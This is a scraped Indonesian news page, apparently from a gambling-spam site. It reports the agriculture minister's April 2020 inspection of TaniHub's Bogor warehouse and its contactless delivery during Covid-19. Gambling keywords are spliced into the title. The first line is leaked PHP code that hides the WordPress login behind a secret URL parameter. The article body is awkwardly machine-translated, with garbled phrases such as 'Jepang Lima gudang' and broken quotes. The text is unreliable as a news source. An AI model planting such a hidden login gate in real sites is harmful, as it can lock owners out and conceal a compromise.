//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Menteri Pertanian SYL memeriksa pasokan gudang distribusi stok TaniHub | s1288 net_sabung ayam online s128_sv388

TRIBUNNEWS.COM, BOGOR-Menteri Pertanian (Mentan) Syahrul Yasin Limpo terus memeriksa persediaan dengan memastikan ketersediaan makanan yang aman hingga makanan didistribusikan dari inventaris pasar ke mitra Kementerian Pertanian (Kementan), salah satunya adalah teknologi pertanian Perusahaan startup TaniHub Group. Terima kasih kepada TaniSupply sebagai departemen TaniHub Group, yang bertanggung jawab atas manajemen pembelian makanan, gudang, dan distribusi produk.

Syahrul, Menteri Pertanian, mengatakan bahwa TaniHub adalah salah satu startup pertanian yang didirikan oleh kaum muda dan harus didorong, terutama dalam inovasi yang menyediakan inventaris untuk semua petani. Kemudian, selama pandemi Covid-19, Indonesia bertanggung jawab untuk mengelola distribusi makanan. “” Mari kita terus mendorong semua pencipta pertanian muda. Kami berharap banyak anak-anak milenial berpartisipasi dalam proses produksi pertanian hulu hilir, “” “kata Mentan Syahrul. Verifikasi ketersediaan persediaan makanan Gudang TaniHub Bogor, Selasa (14/4/2020) -Menteri Pertanian mengatakan Pesanan dapat diselesaikan melalui aplikasi TaniHub, yang merupakan salah satu solusi bagi mereka yang berada dalam situasi sulit. Jangan keluar rumah sehingga mereka dapat membantu mencegah penyebaran Covid-19.

Baca: Kementerian Pertanian dan e-commerce dan online Kerjasama dalam pengangkutan produk ternak Safondo- “Kementerian Pertanian, dengan membantu masyarakat memenuhi kebutuhan pangan, telah berusaha menemukan solusi yang dapat digunakan sebagai pilihan, terutama untuk mengoptimalkan bintang-bintang pertanian di Indonesia. “Kata Syahrul. -Selain itu, Syahrul menambahkan bahwa masyarakat tetap tenang dan selalu mengikuti instruksi pemerintah untuk mencegah penyebaran Covid-19. Oleh karena itu, pemerintah dapat fokus memenuhi kebutuhan masyarakat.-Astri Purnamasari, wakil presiden urusan umum di Lokasi yang sama menyatakan bahwa TaniSupply telah melakukan penyediaan proses bisnis yang ketat dan terstandarisasi (pasokan komersial), sistem manajemen gudang, dan perjanjian kesehatan dan keamanan pangan, serta koordinasi yang cepat, efisien dan terstruktur dengan logistik. — “Ini dilakukan untuk memastikan bahwa produk dapat terus mencapai waktu pelanggan dalam kondisi baik, bahkan dalam tantangan dan kondisi yang tidak pasti saat ini,” kata Astri.

Dia juga mengatakan bahwa TaniSupply berada di Bogor, Bandung, Jepang Lima gudang / pusat distribusi dikelola di Jalan, Surabaya dan Denpasar.Selain itu, salah satu ekspansi inovatif terbaru yang dilakukan oleh TaniSupply adalah penciptaan pusat pengemasan dan pemrosesan (PPC) di Malang, Jawa Timur, dan penggunaan otomasi dalam proses penyortiran. Teknologi. Dan mengukur manisnya (gula brix).

Baca: Kementan Gandeng dan Blibli Kostraling bekerja sama untuk secara efektif menjual beras

“Dengan fasilitas ini, kami berharap para petani dapat memasuki pasar yang lebih besar Karena mereka TaniSupply akan dapat menyesuaikan produk sesuai permintaan pasar.

Sebagai bagian dari pencegahan penyebaran COVID-19, TaniSupply telah menerapkan beberapa kebijakan baru untuk melindungi keselamatan dan kesehatan karyawan, pelanggan dan mitra. Semua produk yang akan dikirim dikemas dalam kotak tertutup, sehingga tidak ada kontak langsung antara logistik / pengiriman pesan dan produk.

Selain itu, TaniSuppy juga menawarkan kemungkinan menerima barang tanpa secara langsung menghubungi surat kami atau disebut “pengiriman tanpa kontak”. Pelanggan hanya perlu meninggalkan pesan di kolom “Informasi Lain” di aplikasi jika mereka ingin menggunakan opsi ini.

“Dengan cara ini, kurir akan meninggalkan paket di pintu pelanggan atau lobi sambil memberi tahu pelanggan. Untuk meminimalkan risiko kontak langsung,” katanya. . (*)

Add Comment

Your email address will not be published. Required fields are marked *